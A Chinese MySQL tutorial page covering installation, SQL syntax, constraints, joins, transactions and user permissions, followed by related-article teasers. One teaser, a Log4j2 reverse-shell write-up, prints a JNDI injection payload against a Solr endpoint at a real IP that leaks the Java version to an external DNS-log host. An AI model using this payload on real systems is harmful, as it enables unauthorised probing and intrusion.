MySQL 基础学习文档

一、MySQL 概述

1.1 核心概念

  • 数据库 (DB):存储数据的结构化仓库
  • 数据库管理系统 (DBMS):操作数据库的软件(如 MySQL、Oracle)
  • SQL:操作关系型数据库的标准语言

1.2 安装与配置

  1. 下载地址:MySQL Installer
  2. 安装步骤
    • 选择 "Developer Default" 安装类型
    • 设置 root 用户密码
    • 配置 Windows 服务(默认名称:MySQL80)
  3. 环境变量配置:将C:\Program Files\MySQL\MySQL Server 8.0\bin添加到 Path

1.3 连接方式

  • 命令行工具mysql -u root -p
  • 图形化工具:推荐使用 DataGrip

二、SQL 基础语法

2.1 通用规则

  • 语句以分号结尾
  • 不区分大小写(建议关键字大写)
  • 注释:-- 单行,/* */ 多行

2.2 分类

类型功能关键字
DDL定义数据库对象CREATE/DROP/ALTER
DML操作数据INSERT/UPDATE/DELETE
DQL查询数据SELECT
DCL控制权限GRANT/REVOKE

三、DDL 操作

3.1 数据库操作

-- 创建数据库(指定字符集)
CREATE DATABASE db_name DEFAULT CHARSET utf8mb4;-- 删除数据库
DROP DATABASE IF EXISTS db_name;-- 切换数据库
USE db_name;

3.2 表操作

3.2.1 数据类型
类型示例说明
整数TINYINT(1)0-255(无符号)
字符串VARCHAR(50)可变长度字符串
日期DATEYYYY-MM-DD
3.2.2 表结构操作
-- 创建表
CREATE TABLE user (id INT PRIMARY KEY AUTO_INCREMENT,name VARCHAR(50) NOT NULL,age TINYINT UNSIGNED
);-- 修改表(添加字段)
ALTER TABLE user ADD COLUMN email VARCHAR(100);-- 删除表
DROP TABLE IF EXISTS user;

四、DML 操作

4.1 数据插入

-- 插入单条记录
INSERT INTO user (name, age) VALUES ('张三', 20);-- 批量插入
INSERT INTO user (name, age) 
VALUES ('李四', 25), ('王五', 30);

4.2 数据更新

-- 更新单条记录
UPDATE user SET age = 26 WHERE id = 1;-- 更新多条记录
UPDATE user SET age = age + 1 WHERE age < 30;

4.3 数据删除

-- 删除单条记录
DELETE FROM user WHERE id = 1;-- 删除所有记录(保留表结构)
TRUNCATE TABLE user;

五、DQL 查询

5.1 基础查询

-- 查询所有字段
SELECT * FROM user;-- 查询指定字段并去重
SELECT DISTINCT age FROM user;-- 字段别名
SELECT name AS 姓名, age AS 年龄 FROM user;

5.2 条件查询

-- 范围查询
SELECT * FROM user WHERE age BETWEEN 20 AND 30;-- 模糊查询
SELECT * FROM user WHERE name LIKE '张%';-- 空值处理
SELECT * FROM user WHERE email IS NULL;

5.3 聚合函数

函数功能
COUNT()统计数量
AVG()平均值
MAX()最大值
SUM()求和
-- 统计总人数
SELECT COUNT(*) AS 总人数 FROM user;-- 计算平均年龄
SELECT AVG(age) AS 平均年龄 FROM user;

5.4 分组与排序

-- 按性别分组统计人数
SELECT gender, COUNT(*) FROM user GROUP BY gender;-- 按年龄降序排序
SELECT * FROM user ORDER BY age DESC;

5.5 分页查询

-- 每页10条,显示第2页
SELECT * FROM user LIMIT 10 OFFSET 10;

六、约束

6.1 类型

约束关键字说明
主键PRIMARY KEY唯一标识,非空
外键FOREIGN KEY关联其他表主键
唯一UNIQUE字段值唯一
非空NOT NULL字段值不能为空

6.2 外键示例

-- 创建部门表
CREATE TABLE dept (id INT PRIMARY KEY,name VARCHAR(50)
);-- 创建员工表(外键关联)
CREATE TABLE emp (id INT PRIMARY KEY,name VARCHAR(50),dept_id INT,FOREIGN KEY (dept_id) REFERENCES dept(id)
);

七、多表查询

7.1 连接类型

类型说明
内连接只返回匹配的数据
左外连接返回左表所有数据
右外连接返回右表所有数据
全外连接返回所有数据(MySQL 不支持)

7.2 示例

-- 内连接查询员工及其部门
SELECT e.name, d.name 
FROM emp e 
JOIN dept d ON e.dept_id = d.id;-- 左外连接查询所有员工
SELECT e.name, d.name 
FROM emp e 
LEFT JOIN dept d ON e.dept_id = d.id;

八、事务

8.1 基本操作

-- 开启事务
START TRANSACTION;-- 提交事务
COMMIT;-- 回滚事务
ROLLBACK;

8.2 隔离级别

级别脏读不可重复读幻读
READ UNCOMMITTED
READ COMMITTED
REPEATABLE READ
SERIALIZABLE

九、函数

9.1 常用函数

类型函数示例
字符串CONCAT(a,b)CONCAT('Hello', 'MySQL') → 'HelloMySQL'
日期CURDATE()获取当前日期
流程控制IF(condition, t, f)IF (age>18, ' 成年 ', ' 未成年 ')

十、权限管理

10.1 用户管理

-- 创建用户
CREATE USER 'user'@'localhost' IDENTIFIED BY 'password';-- 修改密码
ALTER USER 'user'@'localhost' IDENTIFIED BY 'new_password';-- 删除用户
DROP USER 'user'@'localhost';

10.2 权限控制

-- 授予权限
GRANT SELECT, INSERT ON db.* TO 'user'@'localhost';-- 撤销权限
REVOKE INSERT ON db.* FROM 'user'@'localhost';

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/35525.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++特性——智能指针

为什么需要智能指针 对于定义的局部变量&#xff0c;当作用域结束之后&#xff0c;就会自动回收&#xff0c;这没有什么问题。 当时用new delete的时候&#xff0c;就是动态分配对象的时候&#xff0c;如果new了一个变量&#xff0c;但却没有delete&#xff0c;这会造成内存泄…

基于SpringBoot+Vue的幼儿园管理系统+LW示例参考

1.项目介绍 系统角色&#xff1a;管理员、教师、普通用户功能模块&#xff1a;用户管理、教师管理、班级管理、幼儿信息管理、会议记录管理、待办事项、职工考核、请假信息、缴费信息、体检管理、资源管理、原料管理、菜品信息管理等技术选型&#xff1a;SpringBoot&#xff0…

网络通信(传输层协议:TCP/IP ,UDP):

Socket是对网络中不同主机上的应用进程之间进行双向通信的端点的抽象。一个套接字就是网络上进程通信的一端&#xff0c;提供了应用层进程利用网络协议交换数据的机制。 网络协议&#xff1a;一台电脑的数据怎么传递给另一台电脑&#xff0c;是由网络协议来规定的 端口号&#…

Qt之自定义界面组件 一

通过qt中的painter绘图事件绘制一个电池电量图的变化。效果如下图 创建一个基于界面widget工程&#xff0c;在wdiget界面添加一个widget界面,将添加的widget界面的类提升为Tbattery.在Tbattery类中重写painEvent电池电量代码 文件目录结构 主要部分代码 //Tbattery.cpp #inc…

AP AR

混淆矩阵 真实值正例真实值负例预测值正例TPFP预测值负例FNTN &#xff08;根据阈值预测&#xff09; P精确度计算&#xff1a;TP/(TPFP) R召回率计算&#xff1a;TP/(TPFN) AP 综合考虑P R 根据不同的阈值计算出不同的PR组合&#xff0c; 画出PR曲线&#xff0c;计算曲线…

学习单片机需要多长时间才能进行简单的项目开发?

之前有老铁问我&#xff0c;学单片机到底要多久&#xff0c;才能进行简单的项目开发&#xff1f;是三个月速成&#xff0c;还是三年磨一剑&#xff1f; 今天咱们就来聊聊这个话题&#xff0c;我不是什么高高在上的专家&#xff0c;就是个踩过无数坑、烧过几块板子的“技术老友”…

数学建模:MATLAB循环神经网络

一、简述 1.循环神经网络 循环神经网络&#xff08;RNN&#xff09;是一种用于处理序列数据的神经网络。不同于传统的前馈神经网络&#xff0c;RNN在隐藏层中加入了自反馈连接&#xff0c;使得网络能够对序列中的每个元素执行相同的操作&#xff0c;同时保持一个“记忆”状态…

《GitHub网路访问不稳定:解决办法》:此文为AI自动生成

《GitHub网路访问不稳定&#xff1a;解决办法》&#xff1a;此文为AI自动生成 GitHub 网路访问不稳定初现 在当今数字化时代&#xff0c;软件开发行业蓬勃发展&#xff0c;GitHub 作为全球最大的代码托管平台&#xff0c;已然成为无数开发者不可或缺的 “宝库”。它不仅汇聚了海…

SpringCloud 学习笔记2(Nacos)

Nacos Nacos 下载 Nacos Server 下载 | Nacos 官网 下载、解压、打开文件&#xff1a; 更改 Nacos 的启动方式 Nacos 的启动模式默认是集群模式。在学习时需要把他改为单机模式。 把 cluster 改为 standalone&#xff0c;记得保存&#xff01; 启动startup.cmd Ubuntu 启动…

在windows10系统上安装docker,然后在容器中运行GPU版本的Pytorch,并使用vscode连接该容器

一 . 安装Docker Desktop 首先打开网址https://docs.docker.com/desktop/install/windows-install/ 下载完后&#xff0c;双击下面的exe文件进行安装&#xff0c;默认情况下&#xff0c;Docker Desktop 安装在C:\Program Files\Docker\Docker 出现提示时&#xff0c;请确保…

AI入门7:python三种API方式调用本地Ollama+DeepSeek

回顾 书接上篇&#xff1a;各种方式搭建了本地知识库&#xff1a; AI入门&#xff1a;AI模型管家婆ollama的安装和使用-CSDN博客 AI入门2&#xff1a;本地AI部署&#xff0c;用ollama部署deepseek&#xff08;私有化部署&#xff09;-CSDN博客 AI入门3&#xff1a;给本地d…

Unity导出WebGL

在Build Settings页面中平台&#xff08;Platform&#xff09;切换到WebGL平台 如何没有安装WebGL扩展插件&#xff0c;点击下载&#xff08;Open Download Page&#xff09; 下载扩展安装文件WebGL-Support-for-Editor-2023.1.0f1c1.exe 下载地址&#xff1a; http://downlo…

深入理解静态与动态代理设计模式:从理论到实践

静态代理设计模式 1.为什么需要代理设计模式&#xff1f; javaEE分层开发中&#xff0c;哪个层次对于我们来讲最重要 DAO---->Service---->Controller JavaEE分层中&#xff0c;最为重要的是Service层 Service层包含了那些代码 Service层核心功能(几十行 上百代码) 额外…

4.JVM-垃圾回收介绍

记录个人学习中记录笔记&#xff0c;如有错误请您指正&#xff0c;谢谢&#x1f64f; 垃圾回收器发展史 传统垃圾回收: 分代回收 不同代有不同的垃圾回收机制 保底 标记清除算法 垃圾识别算法 引用计数法 缺陷:下图2 出现循环引用 无法解决 可达性分析 大部分(Java,pytho…

解决qt中自定插件加载失败,不显示问题。

这个问题断断续续搞了一天多&#xff0c;主要是版本不匹配问题。 我们先来看下 Based on Qt 6.6.0 → 说明 Qt Creator 本身 是基于 Qt 6.6.0 框架构建的。MSVC 2019, 64-bit → 说明 Qt Creator 是使用 Microsoft Visual C 2019 编译器&#xff08;64 位&#xff09; 编译的。…

MySQL的行级锁锁的到底是什么?

大家好&#xff0c;我是锋哥。今天分享关于【Mysql自增主键会遇到什么问题?】面试题。希望对大家有帮助&#xff1b; MySQL的行级锁锁的到底是什么? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 MySQL的行级锁&#xff08;Row-level Locking&#xff09;是一种…

gitlab将本地项目提交到远程dev分支

获取Git路径 首先从远程获取到git路径&#xff0c;将给的git地址进行克隆到本地文件&#xff1b; git clone http:************.git 按照git地址的文件路径将本地项目&#xff0c;拷贝到目标文件中 在该路径中&#xff0c;初始化命令&#xff1b; # 初始化项目 git init #…

深度学习-服务器训练SparseDrive过程记录

1、cuda安装 1.1 卸载安装失败的cuda 参考&#xff1a;https://blog.csdn.net/weixin_40826634/article/details/127493809 注意&#xff1a;因为/usr/local/cuda-xx.x/bin/下没有卸载脚本&#xff0c;很可能是apt安装的&#xff0c;所以通过执行下面的命令删除&#xff1a; a…

log4j2漏洞:反弹shell

在dns.log生成一个网址 将得到的网址上传上去 http://39.105.61.160:8983/solr/admin/cores?action${jndi:ldap://${sys:java.version}.6tioul.dnslog.cn} 得到回显&#xff0c;表示操作已执行&#xff0c;证明漏洞存在 在云服务器上构建恶意的类 将要执行的恶意操作的代码进…

数据结构——查找

查找 1. 查找的基本概念 查找(Searching)&#xff1a;就是根据给定的某个值&#xff0c;在查找表中确定一个其关键字等于给定值的数据元素( 或记录)。查找结果分为两种&#xff0c;一种是查找成果&#xff0c;一种是查找失败。 查找表(Search Table)&#xff1a;是由同一类型…